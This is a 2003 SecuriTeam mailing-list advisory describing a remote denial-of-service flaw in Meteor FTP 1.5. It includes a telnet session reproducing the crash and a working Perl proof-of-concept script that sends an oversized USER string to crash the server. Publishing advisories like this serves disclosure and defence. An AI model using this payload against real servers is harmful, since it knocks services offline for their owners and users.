

[NT] Meteor FTP Remote Denial of Service Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0024.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/10/03

To: list@securiteam.com

Date: 10 Aug 2003 16:52:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Get Thawte's New Step-by-Step SSL Guide for MSIS

In this guide you will find out how to test, purchase, install and use a Thawte Digital Certificate on your MSIS web server. Throughout, best practices for set-up are highlighted to help you ensure efficient ongoing management of your encryption keys and digital certificates. Get your copy of this new guide now: <http://ad.doubleclick.net/clk;5903126;8265119;j>

Meteor FTP Remote Denial of Service Vulnerability

SUMMARY

A vulnerability exists in Meteor FTP, which allows any malicious user to remotely cause a denial of service against the FTP server.

By connecting to the Meteor FTP server and issuing USER followed by large amounts of data, the ftp server will crash.

DETAILS

Vulnerable systems:

* Meteor FTP version 1.5

Example:

Proof of concept exploit (meteordos.pl) is included in the attachment.

```
root@openwire # telnet 192.168.1.14 21
```

Securiteam: [NT] Meteor FTP Remote Denial of Service Vulnerability

Trying 192.168.1.14...

Connected to 192.168.1.14.

Escape character is '^]'.
220 Service ready for new user

USER

%%%%%%%%
%%%%%%%%
%%%%%%%%
%%%%%%%%
%%%%%%%%
%%%%%%%%
%%%%%%%%
%%%%%%%%

530 Not logged on

QUIT

Connection closed by foreign host.

root@openwire # telnet 192.168.1.14 21

Trying 192.168.1.14...

Connected to 192.168.1.14.

Escape character is '^]'.
USER anonymous

QUIT

telnet> quit

Connection closed.

At this point the server is completely frozen up. On the server side, the Meteor FTP spits out a dialog:

```
"Error: Access Violation at 0x77FCC992 (Tried to write 0x25252525),  
program terminated."
```

By clicking "OK", Meteor FTP terminates.

Vendor status:

Vendor has been notified.

Exploit:

```
#!/usr/bin/perl
```

```
#
```

```
# meteordos.pl – Remote denial of service against Meteor FTP Version 1.5
```

```
#
```

```
# A vulnerability has been identified in Meteor FTP Version 1.5, which  
# allows malicious users to remotely crash the FTPd. By connecting to the  
# FTPd and issuing USER followed by large amounts of data, the server  
# crashes. For more info, go to:
```

```
# http://www.evicted.org/projects/writings/mftpadvisor.txt
```

```
#
```

```
# Usage : ./meteordos.pl <host/ip>
```

```
#
```

```
# Vulnerability & code by zerash
```

```
# Contact : zerash@evicted.org
```

Securiteam: [NT] Meteor FTP Remote Denial of Service Vulnerability

```
use Net::FTP;  
$host = $ARGV[0];
```

```
if("$ARGV[0]" eq "") {  
    print("DoS against Meteor FTP Version 1.5 by zerash\@evicted.org\n");  
    die("Usage : ./meteorftpdos <host/ip>\n");  
} else {
```

```
    print("Connecting to $host...\n");  
    my $ftp = Net::FTP->new($host) or die "Couldn't connect to $host\n";  
    print("Connected!\n");  
    print("Attempting to exploit the ftpd...");  
    $ftp->login('%%%%%%%%%');  
    $ftp->quit;  
    print("Success!\n");  
}
```

ADDITIONAL INFORMATION

The original advisory can be downloaded from:

<http://www.evicted.org/projects/writings/mftpadvisory.txt>

<http://www.evicted.org/projects/writings/mftpadvisory.txt>.

The information has been provided by <mailto:zerash@evicted.org> Zee.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.